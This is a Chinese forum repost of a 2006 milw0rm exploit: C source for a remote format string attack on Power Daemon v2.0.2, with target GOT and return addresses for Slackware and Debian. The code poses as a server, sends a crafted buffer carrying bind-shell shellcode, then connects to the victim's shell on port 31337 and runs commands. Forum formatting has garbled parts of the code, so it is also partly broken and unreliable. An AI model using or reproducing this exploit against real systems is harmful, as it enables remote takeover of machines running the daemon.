发新话题
打印

[转载]Power Daemon v2.0.2 Remote Format String Exploit

[转载]Power Daemon v2.0.2 Remote Format String Exploit

文章作者:barros and xgc
信息来源:http://www.milw0rm.com/id.php?id=1486

gexp-powerd.c
*
* Power Daemon v2.0.2 Remote Format String Exploit
* Copyright (C) 2005 Gotfault Security
*
* Bug found and developed by: barros and xgc
*
* Original Reference:
* http://gotfault.net/research/exploit/gexp-powerd.c
*
*/

#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>

/*==[ Prototypes ]==*/
void fatal(char *);
void Usage(char *);
void FakeServer(char *,int);
void ExecuteShell(int);
int  CreateEvilBuffer(int,int,int,int,char *);
int  ConnectToShell(char *,int);

/*==[ Defines ]==*/
#define  DEFAULT_PORT    532  // Default fake server port
#define BIND_PORT    31337  // Default port to bind
#define NOPSIZE      50  // Number of NOP
#define NOP      0x90  // NOP byte
#define PAD      ""  // Format string alignment
#define PORT_OFFSET    29  // Offset to fix the shellcode
#define STDIN      0
#define STDOUT      1

/*==[ Targets ]==*/
struct
{
  char  *Name;
  int  Gotaddr;
  int  Retaddr;
  int  Pop;
}Targets[] =
  {
    "Power Daemon v2.0.2 @ Slackware 10.0",
    0x0804c180,
    0xbffff2d4,
    17,

           "Power Daemon v2.0.2 @ Debian 3.1 Linux",
           0x0804c198,
           0xbffff16c,
           27,

    // Finish
    0,
    0,
    0,
    0
  };

/*==[ Shellcode by Marco Ivaldi <raptor@0xdeadbeef.info> ]==*/
char shellcode[] =
      "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
      "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
      "\x89\xc7\x52\x66\x68"
      "BP" // Port to bind
      "\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"
      "\xb0\x66\xb3\x04\xcd\x80"
      "\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80"
      "\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
      "\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
  extern  char    *optarg;
  extern  int    optind;
    char    opt;
    char    *Host = NULL;
    int    Port = DEFAULT_PORT;
    int    BindPort = BIND_PORT;
    int    TargetNumber = -1;
    int    Sock,i;
    char    EvilBuffer[1024];
    int    BufLen;

  fprintf(stdout,"\n--=[ Power Daemon Remote Format String Exploit ]\n\n");
  
  // Process arguments
  while ( (opt = getopt(argc,argv,"t:p:r:")) != EOF)
  {
    switch(opt)
    {
      case &#39;r&#39;:
        BindPort = atoi(optarg);
        if(!BindPort) Usage(argv[0]);
      break;
      case &#39;p&#39;:
        Port = atoi(optarg);
        if(!Port) Usage(argv[0]);
      break;
      case &#39;t&#39;:
        TargetNumber = atoi(optarg);
      break;
      default: Usage(argv[0]);
      break;
    }
  }

  // Verify target
  for(i=0;;i++)
    if(Targets.Name == 0) break;
  if(TargetNumber == -1) Usage(argv[0]);

  fprintf(stdout,"
  • Plataform         : %s\n",Targets[TargetNumber].Name);
          fprintf(stdout,"
  • Target GOT        : %#010x\n",Targets[TargetNumber].Gotaddr);
          fprintf(stdout,"
  • Target Retaddr      : %#010x\n",Targets[TargetNumber].Retaddr);
          fprintf(stdout,"
  • Bind to port       : %u\n",BindPort);
          fprintf(stdout,"
  • Target POP        : %d\n\n",Targets[TargetNumber].Pop);

      CreateEvilBuffer(Targets[TargetNumber].Gotaddr,Targets[TargetNumber].Retaddr,Targets[TargetNumber].Pop,BindPort,EvilBuffer);
      FakeServer(EvilBuffer, BindPort);
    }

    void FakeServer(char *EvilBuffer, int BindPort) {

      int sock, newsock, i, reuseaddr = 1;
      struct sockaddr_in remoteaddr;
      struct sockaddr_in localaddr;
      int addrlen = sizeof(struct sockaddr_in);
      struct hostent *he;

      localaddr.sin_family = AF_INET;
      localaddr.sin_port = htons(DEFAULT_PORT);
      localaddr.sin_addr.s_addr = INADDR_ANY;
      bzero(&(localaddr.sin_zero), 8);

      fprintf(stdout,"
  • Creating Fake Server  : ");

      if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror(" socket()");
        printf("\n");
        exit(1);
      }

      if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
        (socklen_t)sizeof(reuseaddr)) < 0) {
        perror(" setsockopt()");
        printf("\n");
        exit(1);
      }

      if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) {
        perror(" bind()");
        printf("\n");
        exit(1);
      }

      if (listen(sock, 1) < 0) {
        perror(" listen()");
        printf("\n");
        exit(1);
      }
      
      fprintf(stdout, "done\n");

      printf("
  • Waiting Client      : ");
      fflush(stdout);

      if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) < 0) {
        perror(" accept()");
        printf("\n");
        exit(1);
      }

      if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 0) {
        perror(" getpeername()");
        printf("\n");
        exit(1);
      }

      fprintf(stdout, "done\n");

      fprintf(stdout, "
  • Host Connected      : %s:%u\n", inet_ntoa(remoteaddr.sin_addr), ntohs(remoteaddr.sin_port));

      fprintf(stdout, "
  • Sending EvilBuffer   : ");
      if(send(newsock,EvilBuffer,strlen(EvilBuffer)+1,0) == -1) {
        fatal("send()");
      }

      fprintf(stdout, "done\n\n");

      memset(EvilBuffer, 0x00, sizeof(EvilBuffer));
      strcpy(EvilBuffer, (char *)inet_ntoa(remoteaddr.sin_addr));
      
          close(newsock);

          sleep(1);

          newsock = ConectToShell(EvilBuffer,BindPort);

          if(newsock == -1) {
               fprintf(stdout,"
  • Exploit Failed.\n\n");
               exit(0);
          }
          else {
               fprintf(stdout,"
  • Spawning Shell...\n\n");
               ExecuteShell(newsock);
               close(newsock);
          }

      fflush(stdout);
    }

    int CreateEvilBuffer(int GOT, int RETADDR, int POP, int BINDTOPORT, char *buffer)
    {
          char        *nops = malloc(NOPSIZE+1);
          char        *ptr;
          unsigned short  *len;
          unsigned short  *portPtr = (unsigned short *)(shellcode+PORT_OFFSET);

          // Fix shellcode
          *portPtr = htons(BINDTOPORT);

          ptr = buffer;

          // Create Nops
          bzero(nops,NOPSIZE+1);
          memset(nops,NOP,NOPSIZE);

      fprintf(stdout, "
  • Creating EvilBuffer  : ");

          // Create format string attack
          sprintf(ptr,"WHATIDO "
               PAD
               "%c%c%c%c"
               "%c%c%c%c"
               "%%.%dd"
               "%%%d$hn"
               "%%.%dd"
               "%%%d$hn"
               "%s%s",
               ((u_long)GOT),
               ((u_long)GOT >> 8),
               ((u_long)GOT >> 16),
               ((u_long)GOT >> 24),
               ((u_long)GOT+2),
               (((u_long)GOT+2) >> 8),
               (((u_long)GOT+2) >> 16),
               (((u_long)GOT+2) >> 24),
               ((RETADDR & 0x0000FFFF) - 26),
               POP,
               (((RETADDR & 0xFFFF0000)>>16) + 0x10000 - (RETADDR & 0x0000FFFF)),
               POP+1,nops,shellcode);
      fprintf(stdout, "done\n");
      fflush(stdout);

          return (strlen(ptr));
    }

    int ConectToShell(char *Host,int Port)
    {
          struct       sockaddr_in server;
          struct       hostent *hp;
          int         s;

          server.sin_family = AF_INET;
          hp = gethostbyname(Host);
          if(!hp) return(-1);

          memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
          server.sin_port = htons(Port);

          s = socket(PF_INET,SOCK_STREAM,0);
          if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
               return(-1);

          return(s);
    }

    void ExecuteShell(int Sock)
    {
          char        buffer[1024 * 10];
          int         count;
          fd_set       readfs;

          write(Sock,"uname -a;id\n",12);
          while(1)
          {
               FD_ZERO(&readfs);
               FD_SET(STDIN, &readfs);
               FD_SET(Sock, &readfs);
               if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0)
               {
                    if(FD_ISSET(STDIN, &readfs))
                    {
                          if((count = read(STDIN, buffer, 1024)) <= 0)
                          {
                               if(errno == EWOULDBLOCK || errno == EAGAIN)
                                    continue;
                               else
                               {
                                    close(Sock);
                                    exit(-1);
                               }
                          }
                          write(Sock, buffer, count);
                    }
                    if(FD_ISSET(Sock, &readfs))
                    {
                          if((count = read(Sock, buffer, 1024)) <= 0)
                          {
                               if(errno == EWOULDBLOCK || errno == EAGAIN)
                                    continue;
                               else
                               {
                                    close(Sock);
                                    exit(-1);
                               }
                          }
                          write(STDOUT, buffer, count);
                    }
               }
      }
    }

    void fatal(char *ErrorMsg)
    {
          fprintf(stderr,"ERROR - %s\n\n",ErrorMsg);
          exit(1);
    }


    void Usage(char *Prog)
    {
          int i;
          fprintf(stderr, "Usage: %s <options>\n\n"
                    "Options:\n\n"
                    " -t target    : Select the target\n"
          " -p portnumber : Sets a new port number <default: %d>\n"
                    " -r bindport  : Sets the port to bind a shell <default: %d>\n\n"
                    "Targets:\n\n",Prog,DEFAULT_PORT,BIND_PORT);

          for(i=0;;i++)
          {
               if(Targets.Name != 0)
                    fprintf(stderr," [%u] %s\n",i,Targets.Name);
               else
                    break;
          }
          fprintf(stderr,"\n");
          exit(1);
    }

    // milw0rm.com [2006-02-10]
  • http://iittss.com/ kijs与牛人在一起不是有理由的让自己变懒,那是为了让视野更开阔

    TOP

    发新话题